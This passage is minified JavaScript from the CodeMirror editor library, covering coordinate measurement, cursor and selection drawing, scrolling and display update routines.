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j=i[h],k=d("div",[j.node],"CodeMirror-linewidget");j.handleMouseEvents||k.setAttribute("cm-ignore-events","true"),Lb(j,k,c,e),a.display.input.setUneditable(k),f&&j.above?g.insertBefore(k,c.gutter||c.text):g.appendChild(k),yb(j,"redraw")}}function Lb(a,b,c,d){if(a.noHScroll){(c.alignable||(c.alignable=[])).push(b);var e=d.wrapperWidth;b.style.left=d.fixedPos+"px",a.coverGutter||(e-=d.gutterTotalWidth,b.style.paddingLeft=d.gutterTotalWidth+"px"),b.style.width=e+"px"}a.coverGutter&&(b.style.zIndex=5,b.style.position="relative",a.noHScroll||(b.style.marginLeft=-d.gutterTotalWidth+"px"))}function Mb(a){if(null!=a.height)return a.height;var b=a.doc.cm;if(!b)return 0;if(!f(document.body,a.node)){var e="position: relative;";a.coverGutter&&(e+="margin-left: -"+b.display.gutters.offsetWidth+"px;"),a.noHScroll&&(e+="width: "+b.display.wrapper.clientWidth+"px;"),c(b.display.measure,d("div",[a.node],null,e))}return a.height=a.node.parentNode.offsetHeight}function Nb(a,b){for(var c=Na(b);c!=a.wrapper;c=c.parentNode)if(!c||1==c.nodeType&&"true"==c.getAttribute("cm-ignore-events")||c.parentNode==a.sizer&&c!=a.mover)return!0}function Ob(a){return a.lineSpace.offsetTop}function Pb(a){return a.mover.offsetHeight-a.lineSpace.offsetHeight}function Qb(a){if(a.cachedPaddingH)return a.cachedPaddingH;var b=c(a.measure,d("pre","x")),e=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,f={left:parseInt(e.paddingLeft),right:parseInt(e.paddingRight)};return isNaN(f.left)||isNaN(f.right)||(a.cachedPaddingH=f),f}function Rb(a){return Lg-a.display.nativeBarWidth}function Sb(a){return a.display.scroller.clientWidth-Rb(a)-a.display.barWidth}function Tb(a){return a.display.scroller.clientHeight-Rb(a)-a.display.barHeight}function Ub(a,b,c){var d=a.options.lineWrapping,e=d&&Sb(a);if(!b.measure.heights||d&&b.measure.width!=e){var f=b.measure.heights=[];if(d){b.measure.width=e;for(var g=b.text.firstChild.getClientRects(),h=0;h<g.length-1;h++){var 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d=0;d<a.length&&(c=a[d]).left==c.right;d++);else for(var e=a.length-1;e>=0&&(c=a[e]).left==c.right;e--);return c}function bc(a,b,c,d){var e,f=_b(b.map,c,d),g=f.node,h=f.start,i=f.end,j=f.collapse;if(3==g.nodeType){for(var k=0;k<4;k++){for(;h&&x(b.line.text.charAt(f.coverStart+h));)--h;for(;f.coverStart+i<f.coverEnd&&x(b.line.text.charAt(f.coverStart+i));)++i;if(e=ng&&og<9&&0==h&&i==f.coverEnd-f.coverStart?g.parentNode.getBoundingClientRect():ac(Dg(g,h,i).getClientRects(),d),e.left||e.right||0==h)break;i=h,h-=1,j="right"}ng&&og<11&&(e=cc(a.display.measure,e))}else{h>0&&(j=d="right");var l;e=a.options.lineWrapping&&(l=g.getClientRects()).length>1?l["right"==d?l.length-1:0]:g.getBoundingClientRect()}if(ng&&og<9&&!h&&(!e||!e.left&&!e.right)){var m=g.parentNode.getClientRects()[0];e=m?{left:m.left,right:m.left+tc(a.display),top:m.top,bottom:m.bottom}:ph}for(var n=e.top-b.rect.top,o=e.bottom-b.rect.top,p=(n+o)/2,q=b.view.measure.heights,r=0;r<q.length-1&&!(p<q[r]);r++);var s=r?q[r-1]:0,t=q[r],u={left:("right"==j?e.right:e.left)-b.rect.left,right:("left"==j?e.left:e.right)-b.rect.left,top:s,bottom:t};return e.left||e.right||(u.bogus=!0),a.options.singleCursorHeightPerLine||(u.rtop=n,u.rbottom=o),u}function cc(a,b){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!Ra(a))return b;var c=screen.logicalXDPI/screen.deviceXDPI,d=screen.logicalYDPI/screen.deviceYDPI;return{left:b.left*c,right:b.right*c,top:b.top*d,bottom:b.bottom*d}}function dc(a){if(a.measure&&(a.measure.cache={},a.measure.heights=null,a.rest))for(var b=0;b<a.rest.length;b++)a.measure.caches[b]={}}function ec(a){a.display.externalMeasure=null,b(a.display.lineMeasure);for(var c=0;c<a.display.view.length;c++)dc(a.display.view[c])}function fc(a){ec(a),a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null,a.options.lineWrapping||(a.display.maxLineChanged=!0),a.display.lineNumChars=null}function gc(){return rg&&xg?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}function hc(){return rg&&xg?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function ic(a,b,c,d,e){if(!e&&b.widgets)for(var f=0;f<b.widgets.length;++f)if(b.widgets[f].above){var g=Mb(b.widgets[f]);c.top+=g,c.bottom+=g}if("line"==d)return c;d||(d="local");var h=sa(b);if("local"==d?h+=Ob(a.display):h-=a.display.viewOffset,"page"==d||"window"==d){var i=a.display.lineSpace.getBoundingClientRect();h+=i.top+("window"==d?0:hc());var j=i.left+("window"==d?0:gc());c.left+=j,c.right+=j}return c.top+=h,c.bottom+=h,c}function jc(a,b,c){if("div"==c)return b;var d=b.left,e=b.top;if("page"==c)d-=gc(),e-=hc();else if("local"==c||!c){var f=a.display.sizer.getBoundingClientRect();d+=f.left,e+=f.top}var g=a.display.lineSpace.getBoundingClientRect();return{left:d-g.left,top:e-g.top}}function kc(a,b,c,d,e){return d||(d=B(a.doc,b.line)),ic(a,d,Xb(a,d,b.ch,e),c)}function lc(a,b,c,d,e,f){function g(b,g){var h=$b(a,e,b,g?"right":"left",f);return g?h.left=h.right:h.right=h.left,ic(a,d,h,c)}function h(a,b,c){var d=i[b],e=d.level%2!=0;return g(c?a-1:a,e!=c)}d=d||B(a.doc,b.line),e||(e=Zb(a,d));var i=xa(d,a.doc.direction),j=b.ch,k=b.sticky;if(j>=d.text.length?(j=d.text.length,k="before"):j<=0&&(j=0,k="after"),!i)return g("before"==k?j-1:j,"before"==k);var l=wa(i,j,k),m=Vg,n=h(j,l,"before"==k);return null!=m&&(n.other=h(j,m,"before"!=k)),n}function mc(a,b){var c=0;b=Q(a.doc,b),a.options.lineWrapping||(c=tc(a.display)*b.ch);var d=B(a.doc,b.line),e=sa(d)+Ob(a.display);return{left:c,right:c,top:e,bottom:e+d.height}}function nc(a,b,c,d,e){var f=J(a,b,c);return f.xRel=e,d&&(f.outside=!0),f}function oc(a,b,c){var d=a.doc;if(c+=a.display.viewOffset,c<0)return nc(d.first,0,null,!0,-1);var e=G(d,c),f=d.first+d.size-1;if(e>f)return nc(d.first+d.size-1,B(d,f).text.length,null,!0,1);b<0&&(b=0);for(var g=B(d,e);;){var h=rc(a,g,e,b,c),i=ja(g),j=i&&i.find(0,!0);if(!i||!(h.ch>j.from.ch||h.ch==j.from.ch&&h.xRel>0))return h;e=F(g=j.to.line)}}function pc(a,b,c,d){var e=function(d){return ic(a,b,$b(a,c,d),"line")},f=b.text.length,g=z(function(a){return e(a-1).bottom<=d},f,0);return f=z(function(a){return e(a).top>d},g,f),{begin:g,end:f}}function qc(a,b,c,d){var e=ic(a,b,$b(a,c,d),"line").top;return pc(a,b,c,e)}function rc(a,b,c,d,e){e-=sa(b);var f,g=0,h=b.text.length,i=Zb(a,b),j=xa(b,a.doc.direction);if(j){if(a.options.lineWrapping){var k;k=pc(a,b,i,e),g=k.begin,h=k.end}f=new J(c,Math.floor(g+(h-g)/2));var l,m,n=lc(a,f,"line",b,i).left,o=n<d?1:-1,p=n-d,q=Math.ceil((h-g)/4);a:do{l=p,m=f;for(var r=0;r<q;++r){var s=f;if(f=Ba(a,b,f,o),null==f||f.ch<g||h<=("before"==f.sticky?f.ch-1:f.ch)){f=s;break a}}if(p=lc(a,f,"line",b,i).left-d,q>1){var t=Math.abs(p-l)/q;q=Math.min(q,Math.ceil(Math.abs(p)/t)),o=p<0?1:-1}}while(0!=p&&(q>1||o<0!=p<0&&Math.abs(p)<=Math.abs(l)));if(Math.abs(p)>Math.abs(l)){if(p<0==l<0)throw new Error("Broke out of infinite loop in coordsCharInner");f=m}}else{var u=z(function(c){var f=ic(a,b,$b(a,i,c),"line");return f.top>e?(h=Math.min(c,h),!0):!(f.bottom<=e)&&(f.left>d||!(f.right<d)&&d-f.left<f.right-d)},g,h);u=y(b.text,u,1),f=new J(c,u,u==h?"before":"after")}var v=lc(a,f,"line",b,i);return(e<v.top||v.bottom<e)&&(f.outside=!0),f.xRel=d<v.left?-1:d>v.right?1:0,f}function sc(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==kh){kh=d("pre");for(var e=0;e<49;++e)kh.appendChild(document.createTextNode("x")),kh.appendChild(d("br"));kh.appendChild(document.createTextNode("x"))}c(a.measure,kh);var f=kh.offsetHeight/50;return f>3&&(a.cachedTextHeight=f),b(a.measure),f||1}function tc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=d("span","xxxxxxxxxx"),e=d("pre",[b]);c(a.measure,e);var f=b.getBoundingClientRect(),g=(f.right-f.left)/10;return g>2&&(a.cachedCharWidth=g),g||10}function uc(a){for(var b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g)c[a.options.gutters[g]]=f.offsetLeft+f.clientLeft+e,d[a.options.gutters[g]]=f.clientWidth;return{fixedPos:vc(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function vc(a){return a.scroller.getBoundingClientRect().left-a.sizer.getBoundingClientRect().left}function wc(a){var b=sc(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/tc(a.display)-3);return function(e){if(qa(a.doc,e))return 0;var f=0;if(e.widgets)for(var g=0;g<e.widgets.length;g++)e.widgets[g].height&&(f+=e.widgets[g].height);return c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function xc(a){var b=a.doc,c=wc(a);b.iter(function(a){var b=c(a);b!=a.height&&E(a,b)})}function yc(a,b,c,d){var e=a.display;if(!c&&"true"==Na(b).getAttribute("cm-not-content"))return null;var f,g,h=e.lineSpace.getBoundingClientRect();try{f=b.clientX-h.left,g=b.clientY-h.top}catch(b){return null}var i,j=oc(a,f,g);if(d&&1==j.xRel&&(i=B(a.doc,j.line).text).length==j.ch){var k=l(i,i.length,a.options.tabSize)-i.length;j=J(j.line,Math.max(0,Math.round((f-Qb(a.display).left)/tc(a.display))-k))}return j}function zc(a,b){if(b>=a.display.viewTo)return null;if(b-=a.display.viewFrom,b<0)return null;for(var c=a.display.view,d=0;d<c.length;d++)if(b-=c[d].size,b<0)return d}function Ac(a){a.display.input.showSelection(a.display.input.prepareSelection())}function Bc(a,b){for(var c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g<c.sel.ranges.length;g++)if(b!==!1||g!=c.sel.primIndex){var h=c.sel.ranges[g];if(!(h.from().line>=a.display.viewTo||h.to().line<a.display.viewFrom)){var i=h.empty();(i||a.options.showCursorWhenSelecting)&&Cc(a,h.head,e),i||Ec(a,h,f)}}return d}function Cc(a,b,c){var e=lc(a,b,"div",null,null,!a.options.singleCursorHeightPerLine),f=c.appendChild(d("div","\xa0","CodeMirror-cursor"));if(f.style.left=e.left+"px",f.style.top=e.top+"px",f.style.height=Math.max(0,e.bottom-e.top)*a.options.cursorHeight+"px",e.other){var g=c.appendChild(d("div","\xa0","CodeMirror-cursor CodeMirror-secondarycursor"));g.style.display="",g.style.left=e.other.left+"px",g.style.top=e.other.top+"px",g.style.height=.85*(e.other.bottom-e.other.top)+"px"}}function Dc(a,b){return a.top-b.top||a.left-b.left}function Ec(a,b,c){
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g=a.display,h=a.doc,i=document.createDocumentFragment(),j=Qb(a.display),k=j.left,l=Math.max(g.sizerWidth,Sb(a)-g.sizer.offsetLeft)-j.right,m=b.from(),n=b.to();if(m.line==n.line)f(m.line,m.ch,n.ch);else{var o=B(h,m.line),p=B(h,n.line),q=la(o)==la(p),r=f(m.line,m.ch,q?o.text.length+1:null).end,s=f(n.line,q?0:null,n.ch).start;q&&(r.top<s.top-2?(e(r.right,r.top,null,r.bottom),e(k,s.top,s.left,s.bottom)):e(r.right,r.top,s.left-r.right,r.bottom)),r.bottom<s.top&&e(k,r.bottom,null,s.top)}c.appendChild(i)}function Fc(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursorDiv.style.visibility="",a.options.cursorBlinkRate>0?b.blinker=setInterval(function(){return b.cursorDiv.style.visibility=(c=!c)?"":"hidden"},a.options.cursorBlinkRate):a.options.cursorBlinkRate<0&&(b.cursorDiv.style.visibility="hidden")}}function Gc(a){a.state.focused||(a.display.input.focus(),Ic(a))}function Hc(a){a.state.delayingBlurEvent=!0,setTimeout(function(){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1,Jc(a))},100)}function Ic(a,b){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1),"nocursor"!=a.options.readOnly&&(a.state.focused||(Ea(a,"focus",a,b),a.state.focused=!0,h(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),pg&&setTimeout(function(){return a.display.input.reset(!0)},20)),a.display.input.receivedFocus()),Fc(a))}function Jc(a,b){a.state.delayingBlurEvent||(a.state.focused&&(Ea(a,"blur",a,b),a.state.focused=!1,Gg(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||(a.display.shift=!1)},150))}function Kc(a){for(var b=a.display,c=b.lineDiv.offsetTop,d=0;d<b.view.length;d++){var e=b.view[d],f=void 0;if(!e.hidden){if(ng&&og<8){var g=e.node.offsetTop+e.node.offsetHeight;f=g-c,c=g}else{var h=e.node.getBoundingClientRect();f=h.bottom-h.top}var i=e.line.height-f;if(f<2&&(f=sc(b)),(i>.005||i<-.005)&&(E(e.line,f),Lc(e.line),e.rest))for(var j=0;j<e.rest.length;j++)Lc(e.rest[j])}}}function Lc(a){if(a.widgets)for(var b=0;b<a.widgets.length;++b)a.widgets[b].height=a.widgets[b].node.parentNode.offsetHeight}function Mc(a,b,c){var d=c&&null!=c.top?Math.max(0,c.top):a.scroller.scrollTop;d=Math.floor(d-Ob(a));var e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,f=G(b,d),g=G(b,e);if(c&&c.ensure){var h=c.ensure.from.line,i=c.ensure.to.line;h<f?(f=h,g=G(b,sa(B(b,h))+a.wrapper.clientHeight)):Math.min(i,b.lastLine())>=g&&(f=G(b,sa(B(b,i))-a.wrapper.clientHeight),g=i)}return{from:f,to:Math.max(g,f+1)}}function Nc(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var d=vc(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g<c.length;g++)if(!c[g].hidden){a.options.fixedGutter&&(c[g].gutter&&(c[g].gutter.style.left=f),c[g].gutterBackground&&(c[g].gutterBackground.style.left=f));var h=c[g].alignable;if(h)for(var i=0;i<h.length;i++)h[i].style.left=f}a.options.fixedGutter&&(b.gutters.style.left=d+e+"px")}}function Oc(a){if(!a.options.lineNumbers)return!1;var b=a.doc,c=I(a.options,b.first+b.size-1),e=a.display;if(c.length!=e.lineNumChars){var f=e.measure.appendChild(d("div",[d("div",c)],"CodeMirror-linenumber CodeMirror-gutter-elt")),g=f.firstChild.offsetWidth,h=f.offsetWidth-g;return e.lineGutter.style.width="",e.lineNumInnerWidth=Math.max(g,e.lineGutter.offsetWidth-h)+1,e.lineNumWidth=e.lineNumInnerWidth+h,e.lineNumChars=e.lineNumInnerWidth?c.length:-1,e.lineGutter.style.width=e.lineNumWidth+"px",Fd(a),!0}return!1}function Pc(a,b){if(!Fa(a,"scrollCursorIntoView")){var c=a.display,e=c.sizer.getBoundingClientRect(),f=null;if(b.top+e.top<0?f=!0:b.bottom+e.top>(window.innerHeight||document.documentElement.clientHeight)&&(f=!1),null!=f&&!vg){var g=d("div","\u200b",null,"position: absolute;\n                         top: "+(b.top-c.viewOffset-Ob(a.display))+"px;\n                         height: "+(b.bottom-b.top+Rb(a)+c.barHeight)+"px;\n                         left: "+b.left+"px; width: "+Math.max(2,b.right-b.left)+"px;");a.display.lineSpace.appendChild(g),g.scrollIntoView(f),a.display.lineSpace.removeChild(g)}}}function Qc(a,b,c,d){null==d&&(d=0);var e;a.options.lineWrapping||b!=c||(b=b.ch?J(b.line,"before"==b.sticky?b.ch-1:b.ch,"after"):b,c="before"==b.sticky?J(b.line,b.ch+1,"before"):b);for(var f=0;f<5;f++){var g=!1,h=lc(a,b),i=c&&c!=b?lc(a,c):h;e={left:Math.min(h.left,i.left),top:Math.min(h.top,i.top)-d,right:Math.max(h.left,i.left),bottom:Math.max(h.bottom,i.bottom)+d};var j=Sc(a,e),k=a.doc.scrollTop,l=a.doc.scrollLeft;if(null!=j.scrollTop&&(Zc(a,j.scrollTop),Math.abs(a.doc.scrollTop-k)>1&&(g=!0)),null!=j.scrollLeft&&(_c(a,j.scrollLeft),Math.abs(a.doc.scrollLeft-l)>1&&(g=!0)),!g)break}return e}function Rc(a,b){var c=Sc(a,b);null!=c.scrollTop&&Zc(a,c.scrollTop),null!=c.scrollLeft&&_c(a,c.scrollLeft)}function Sc(a,b){var c=a.display,d=sc(a.display);b.top<0&&(b.top=0);var e=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,f=Tb(a),g={};b.bottom-b.top>f&&(b.bottom=b.top+f);var h=a.doc.height+Pb(c),i=b.top<d,j=b.bottom>h-d;if(b.top<e)g.scrollTop=i?0:b.top;else if(b.bottom>e+f){var k=Math.min(b.top,(j?h:b.bottom)-f);k!=e&&(g.scrollTop=k)}var l=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft,m=Sb(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0),n=b.right-b.left>m;return n&&(b.right=b.left+m),b.left<10?g.scrollLeft=0:b.left<l?g.scrollLeft=Math.max(0,b.left-(n?0:10)):b.right>m+l-3&&(g.scrollLeft=b.right+(n?0:10)-m),g}function Tc(a,b){null!=b&&(Xc(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}function Uc(a){Xc(a);var b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function Vc(a,b,c){null==b&&null==c||Xc(a),null!=b&&(a.curOp.scrollLeft=b),null!=c&&(a.curOp.scrollTop=c)}function Wc(a,b){Xc(a),a.curOp.scrollToPos=b}function Xc(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=mc(a,b.from),d=mc(a,b.to);Yc(a,c,d,b.margin)}}function Yc(a,b,c,d){var e=Sc(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});Vc(a,e.scrollLeft,e.scrollTop)}function Zc(a,b){Math.abs(a.doc.scrollTop-b)<2||(jg||Dd(a,{top:b}),$c(a,b,!0),jg&&Dd(a),wd(a,100))}function $c(a,b,c){b=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b),(a.display.scroller.scrollTop!=b||c)&&(a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=b&&(a.display.scroller.scrollTop=b))}function _c(a,b,c,d){b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth),(c?b==a.doc.scrollLeft:Math.abs(a.doc.scrollLeft-b)<2)&&!d||(a.doc.scrollLeft=b,Nc(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function ad(a){var b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+Pb(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+Rb(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function bd(a,b){b||(b=ad(a));var c=a.display.barWidth,d=a.display.barHeight;cd(a,b);for(var e=0;e<4&&c!=a.display.barWidth||d!=a.display.barHeight;e++)c!=a.display.barWidth&&a.options.lineWrapping&&Kc(a),cd(a,ad(a)),c=a.display.barWidth,d=a.display.barHeight}function cd(a,b){var c=a.display,d=c.scrollbars.update(b);c.sizer.style.paddingRight=(c.barWidth=d.right)+"px",c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+"px",c.heightForcer.style.borderBottom=d.bottom+"px solid transparent",d.right&&d.bottom?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=d.bottom+"px",c.scrollbarFiller.style.width=d.right+"px"):c.scrollbarFiller.style.display="",d.bottom&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d.bottom+"px",c.gutterFiller.style.width=b.gutterWidth+"px"):c.gutterFiller.style.display=""}function dd(a){a.display.scrollbars&&(a.display.scrollbars.clear(),a.display.scrollbars.addClass&&Gg(a.display.wrapper,a.display.scrollbars.addClass)),a.display.scrollbars=new sh[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller),Yg(b,"mousedown",function(){a.state.focused&&setTimeout(function(){return a.display.input.focus()},0)}),b.setAttribute("cm-not-content","true")},function(b,c){"horizontal"==c?_c(a,b):Zc(a,b)},a),a.display.scrollbars.addClass&&h(a.display.wrapper,a.display.scrollbars.addClass)}function ed(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++th},vb(a.curOp)}function fd(a){var b=a.curOp;xb(b,function(a){for(var b=0;b<a.ops.length;b++)a.ops[b].cm.curOp=null;gd(a)})}function gd(a){for(var b=a.ops,c=0;c<b.length;c++)hd(b[c]);for(var d=0;d<b.length;d++)id(b[d]);for(var e=0;e<b.length;e++)jd(b[e]);for(var f=0;f<b.length;f++)kd(b[f]);for(var g=0;g<b.length;g++)ld(b[g])}function hd(a){var b=a.cm,c=b.display;yd(b),a.updateMaxLine&&ua(b),a.mustUpdate=a.viewChanged||a.forceUpdate||null!=a.scrollTop||a.scrollToPos&&(a.scrollToPos.from.line<c.viewFrom||a.scrollToPos.to.line>=c.viewTo)||c.maxLineChanged&&b.options.lineWrapping,a.update=a.mustUpdate&&new uh(b,a.mustUpdate&&{top:a.scrollTop,ensure:a.scrollToPos},a.forceUpdate)}function id(a){a.updatedDisplay=a.mustUpdate&&Bd(a.cm,a.update)}function jd(a){var b=a.cm,c=b.display;a.updatedDisplay&&Kc(b),a.barMeasure=ad(b),c.maxLineChanged&&!b.options.lineWrapping&&(a.adjustWidthTo=Xb(b,c.maxLine,c.maxLine.text.length).left+3,b.display.sizerWidth=a.adjustWidthTo,a.barMeasure.scrollWidth=Math.max(c.scroller.clientWidth,c.sizer.offsetLeft+a.adjustWidthTo+Rb(b)+b.display.barWidth),a.maxScrollLeft=Math.max(0,c.sizer.offsetLeft+a.adjustWidthTo-Sb(b))),(a.updatedDisplay||a.selectionChanged)&&(a.preparedSelection=c.input.prepareSelection(a.focus))}function kd(a){var b=a.cm;null!=a.adjustWidthTo&&(b.display.sizer.style.minWidth=a.adjustWidthTo+"px",a.maxScrollLeft<b.doc.scrollLeft&&_c(b,Math.min(b.display.scroller.scrollLeft,a.maxScrollLeft),!0),b.display.maxLineChanged=!1);var c=a.focus&&a.focus==g()&&(!document.hasFocus||document.hasFocus());a.preparedSelection&&b.display.input.showSelection(a.preparedSelection,c),(a.updatedDisplay||a.startHeight!=b.doc.height)&&bd(b,a.barMeasure),a.updatedDisplay&&Gd(b,a.barMeasure),a.selectionChanged&&Fc(b),b.state.focused&&a.updateInput&&b.display.input.reset(a.typing),c&&Gc(a.cm)}function ld(a){var b=a.cm,c=b.display,d=b.doc;if(a.updatedDisplay&&Cd(b,a.update),null==c.wheelStartX||null==a.scrollTop&&null==a.scrollLeft&&!a.scrollToPos||(c.wheelStartX=c.wheelStartY=null),null!=a.scrollTop&&$c(b,a.scrollTop,a.forceScroll),null!=a.scrollLeft&&_c(b,a.scrollLeft,!0,!0),a.scrollToPos){var e=Qc(b,Q(d,a.scrollToPos.from),Q(d,a.scrollToPos.to),a.scrollToPos.margin);Pc(b,e)}var f=a.maybeHiddenMarkers,g=a.maybeUnhiddenMarkers;if(f)for(var h=0;h<f.length;++h)f[h].lines.length||Ea(f[h],"hide");if(g)for(var i=0;i<g.length;++i)g[i].lines.length&&Ea(g[i],"unhide");c.wrapper.offsetHeight&&(d.scrollTop=b.display.scroller.scrollTop),a.changeObjs&&Ea(b,"changes",b,a.changeObjs),a.update&&a.update.finish()}function md(a,b){if(a.curOp)return b();ed(a);try{return b()}finally{fd(a)}}function nd(a,b){return function(){if(a.curOp)return b.apply(a,arguments);ed(a);try{return b.apply(a,arguments)}finally{fd(a)}}}function od(a){return function(){if(this.curOp)return a.apply(this,arguments);ed(this);try{return a.apply(this,arguments)}finally{fd(this)}}}function pd(a){return function(){var b=this.cm;if(!b||b.curOp)return a.apply(this,arguments);ed(b);try{return a.apply(this,arguments)}finally{fd(b)}}}function qd(a,b,c,d){null==b&&(b=a.doc.first),null==c&&(c=a.doc.first+a.doc.size),d||(d=0);var e=a.display;if(d&&c<e.viewTo&&(null==e.updateLineNumbers||e.updateLineNumbers>b)&&(e.updateLineNumbers=b),a.curOp.viewChanged=!0,b>=e.viewTo)Ug&&oa(a.doc,b)<e.viewTo&&sd(a);else if(c<=e.viewFrom)Ug&&pa(a.doc,c+d)>e.viewFrom?sd(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)sd(a);else if(b<=e.viewFrom){var f=td(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):sd(a)}else if(c>=e.viewTo){var g=td(a,b,b,-1);g?(e.view=e.view.slice(0,g.index),e.viewTo=g.lineN):sd(a)}else{var h=td(a,b,b,-1),i=td(a,c,c+d,1);h&&i?(e.view=e.view.slice(0,h.index).concat(ub(a,h.lineN,i.lineN)).concat(e.view.slice(i.index)),e.viewTo+=d):sd(a)}var j=e.externalMeasured;j&&(c<j.lineN?j.lineN+=d:b<j.lineN+j.size&&(e.externalMeasured=null))}function rd(a,b,c){a.curOp.viewChanged=!0;var d=a.display,e=a.display.externalMeasured;if(e&&b>=e.lineN&&b<e.lineN+e.size&&(d.externalMeasured=null),!(b<d.viewFrom||b>=d.viewTo)){var f=d.view[zc(a,b)];if(null!=f.node){var g=f.changes||(f.changes=[]);m(g,c)==-1&&g.push(c)}}}function sd(a){a.display.viewFrom=a.display.viewTo=a.doc.first,a.display.view=[],a.display.viewOffset=0}function td(a,b,c,d){var e,f=zc(a,b),g=a.display.view;if(!Ug||c==a.doc.first+a.doc.size)return{index:f,lineN:c};for(var h=a.display.viewFrom,i=0;i<f;i++)h+=g[i].size;if(h!=b){if(d>0){if(f==g.length-1)return null;e=h+g[f].size-b,f++}else e=h-b;b+=e,c+=e}for(;oa(a.doc,c)!=c;){if(f==(d<0?0:g.length-1))return null;c+=d*g[f-(d<0?1:0)].size,f+=d}return{index:f,lineN:c}}function ud(a,b,c){var d=a.display,e=d.view;0==e.length||b>=d.viewTo||c<=d.viewFrom?(d.view=ub(a,b,c),d.viewFrom=b):(d.viewFrom>b?d.view=ub(a,b,d.viewFrom).concat(d.view):d.viewFrom<b&&(d.view=d.view.slice(zc(a,b))),d.viewFrom=b,d.viewTo<c?d.view=d.view.concat(ub(a,d.viewTo,c)):d.viewTo>c&&(d.view=d.view.slice(0,zc(a,c)))),d.viewTo=c}function vd(a){for(var b=a.display.view,c=0,d=0;d<b.length;d++){var e=b[d];e.hidden||e.node&&!e.changes||++c}return c}function wd(a,b){a.doc.highlightFrontier<a.display.viewTo&&a.state.highlight.set(b,j(xd,a))}function xd(a){var b=a.doc;if(!(b.highlightFrontier>=a.display.viewTo)){var c=+new Date+a.options.workTime,d=ab(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,a.display.viewTo+500),function(f){if(d.line>=a.display.viewFrom){var g=f.styles,h=f.text.length>a.options.maxHighlightLength?Xa(b.mode,d.state):null,i=$a(a,f,d,!0);h&&(d.state=h),f.styles=i.styles;var j=f.styleClasses,k=i.classes;k?f.styleClasses=k:j&&(f.styleClasses=null);for(var l=!g||g.length!=f.styles.length||j!=k&&(!j||!k||j.bgClass!=k.bgClass||j.textClass!=k.textClass),m=0;!l&&m<g.length;++m)l=g[m]!=f.styles[m];l&&e.push(d.line),f.stateAfter=d.save(),d.nextLine()}else f.text.length<=a.options.maxHighlightLength&&bb(a,f.text,d),f.stateAfter=d.line%5==0?d.save():null,d.nextLine();if(+new Date>c)return wd(a,a.options.workDelay),!0}),b.highlightFrontier=d.line,b.modeFrontier=Math.max(b.modeFrontier,d.line),e.length&&md(a,function(){for(var b=0;b<e.length;b++)rd(a,e[b],"text")})}}function yd(a){var 